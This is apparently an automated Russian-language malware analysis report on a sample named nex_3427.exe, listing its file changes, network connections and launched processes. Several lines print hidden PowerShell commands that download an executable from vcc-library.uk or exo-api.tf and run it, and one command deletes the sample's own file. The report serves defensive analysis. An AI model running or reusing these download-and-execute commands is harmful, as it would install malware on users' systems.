Техническая информация
Изменения в файловой системе
Создает следующие файлы
- <Текущая директория>\nex_3427.exe
- <Текущая директория>\imgui.ini
Сетевая активность
Подключается к
- 'ex##api.tf':443
TCP
Другие
- 'ex##api.tf':443
UDP
- DNS ASK vc###ibrary.uk
- DNS ASK ex##api.tf
- DNS ASK mo#####.map.fastly.net
Другое
Создает и запускает на исполнение
- '<Текущая директория>\nex_3427.exe' --mutated
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK679534.exe; Start-Proc...
- '<SYSTEM32>\cmd.exe' /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK679534.exe; Start-Process -FilePath $env:TEM...
- '<SYSTEM32>\cmd.exe' /c "timeout /t 1 && del /f /q "<Полный путь к файлу>"" (со скрытым окном)
- '<SYSTEM32>\timeout.exe' /t 1
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK679534.exe; Start-Process -FilePath $env:TEMP\BK679534.exe...
- '<SYSTEM32>\cmd.exe' /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:APPDATA\BK885804.exe; Start-Proce...
- '<SYSTEM32>\cmd.exe' /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:APPDATA\BK885804.exe; Start-Process -FilePath $env:APPD...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -Command "& { iwr -Uri 'https://exo-api.tf/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:APPDATA\BK885804.exe; Start-Process -FilePath $env:APPDATA\BK885804.e...
